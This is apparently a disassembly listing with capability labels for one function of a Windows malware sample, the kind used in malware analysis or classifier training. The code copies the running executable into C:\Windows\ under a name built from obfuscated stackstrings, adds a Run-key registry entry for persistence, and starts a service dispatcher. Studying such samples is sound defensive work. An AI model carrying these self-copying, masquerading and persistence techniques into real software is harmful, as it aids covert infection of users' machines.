Function at 0x4059f0
Capabilities:
Contain obfuscated stackstrings
Copy file
Persist via run registry key
Set registry value
Terminate process

Disassembly:
mov eax, dword [0x415398]
sub esp, 0x120
push ebx
push ebp
mov ebp, 1
cmp eax, ebp
jne 0x405a0b
call fcn.00405950
mov ecx, 0x416ef0
call fcn.00407290
mov eax, dword [esp + 0x134]
push str.Win7
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x405a34
call fcn.00405250
mov ecx, 0x41526c
xor ebx, ebx
test ecx, ecx
je 0x405a52
push ebp
push ebx
push ebx
push ecx
push 0x405830
push ebx
push ebx
call fcn.00407da0
add esp, 0x1c
mov eax, dword [0x415204]
push esi
cmp eax, ebx
jne 0x405b45
cmp dword [0x415200], ebp
jne 0x405b08
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], bl
lea edx, [esp + 0x2c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 6
mov esi, str.C:Windows_
lea edi, [esp + 0x10]
push 0x104
push edx
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push ebx
lea ecx, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x28]
push edx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x405af7
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0xc]
push 0x18
push eax
push ebp
push ebx
push 0x416ae0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405250
push 0x3c
call esi
jmp 0x405afd
cmp dword [0x4151fc], ebp
jne 0x405c28
call fcn.00405fb0
test eax, eax
je 0x405b62
lea eax, [esp + 0xc]
mov dword [esp + 0xc], str.Stuvwx
push eax
mov dword [esp + 0x14], 0x4053e0
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
call fcn.00405250
cmp dword [0x415204], ebp
jne 0x405c28
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405250
push 0x3c
call esi
jmp 0x405b57
mov cl, 0x6f
mov al, 0x73
mov byte [esp + 0x13], cl
mov byte [esp + 0x1b], cl
lea ecx, [esp + 0x28]
mov byte [esp + 0x15], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
push 0xe1
mov dl, 0x5c
mov al, 0x65
push ecx
push ebx
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x3a
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x22], dl
mov byte [esp + 0x24], 0x76
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x26], 0x68
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x2e
mov byte [esp + 0x2b], al
mov byte [esp + 0x2c], 0x78
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0xc]
push ebx
lea eax, [esp + 0x2c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.00405130
push str.Stuvwxya_Cdefghijk_Mnopqrs_Uvwxyabc_Efg
push str.Stuvwx_Abcdefgh_Jklmnopq_Stuv
push str.Stuvwx
call fcn.00405c40
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405250
push ebx
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
pop ebp
pop ebx
add esp, 0x120
ret 0x10